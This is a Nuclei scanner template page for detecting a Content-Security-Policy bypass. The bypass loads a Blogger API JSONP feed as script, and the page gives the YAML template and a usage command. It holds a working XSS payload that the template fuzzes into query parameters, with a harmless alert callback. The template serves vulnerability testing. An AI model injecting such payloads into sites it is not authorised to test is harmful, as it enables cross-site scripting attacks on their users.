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Content-Security-Policy Bypass - Blogger API

ID: blogger-api-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,blogger-api

id: blogger-api-csp-bypass
info:
name: Content-Security-Policy Bypass - Blogger API
author: renniepak,DhiyaneshDK
severity: medium
reference:
- https://github.com/renniepak/CSPBypass/blob/main/data.tsv
metadata:
verified: true
tags: xss,csp-bypass,blogger-api
flow: http(1) && headless(1)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers:
- type: word
part: header
words:
- "Content-Security-Policy"
- "blogger.com"
condition: and
internal: true
headless:
- steps:
- action: navigate
args:
url: "{{BaseURL}}"
- action: waitdialog
name: blogger_api_csp_xss
args:
max-duration: 5s
payloads:
injection:
- '<script src="https://www.blogger.com/feeds/8063678697117239807/posts/default?callback=alert"></script>'
fuzzing:
- part: query
type: replace
mode: single
fuzz:
- "{{url_encode(injection)}}"
matchers:
- type: dsl
dsl:
- "blogger_api_csp_xss == true"
# digest: 4a0a00473045022100bfcf368dac9c18887188c3867de72ff3ee2f83e738195398ec7b884129f739bc02201e4d1a562fa17d65c2bddb783fe887b89a9068ca144419a201b07ada84247f69:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/blogger-api-csp-bypass.yaml"

View on Github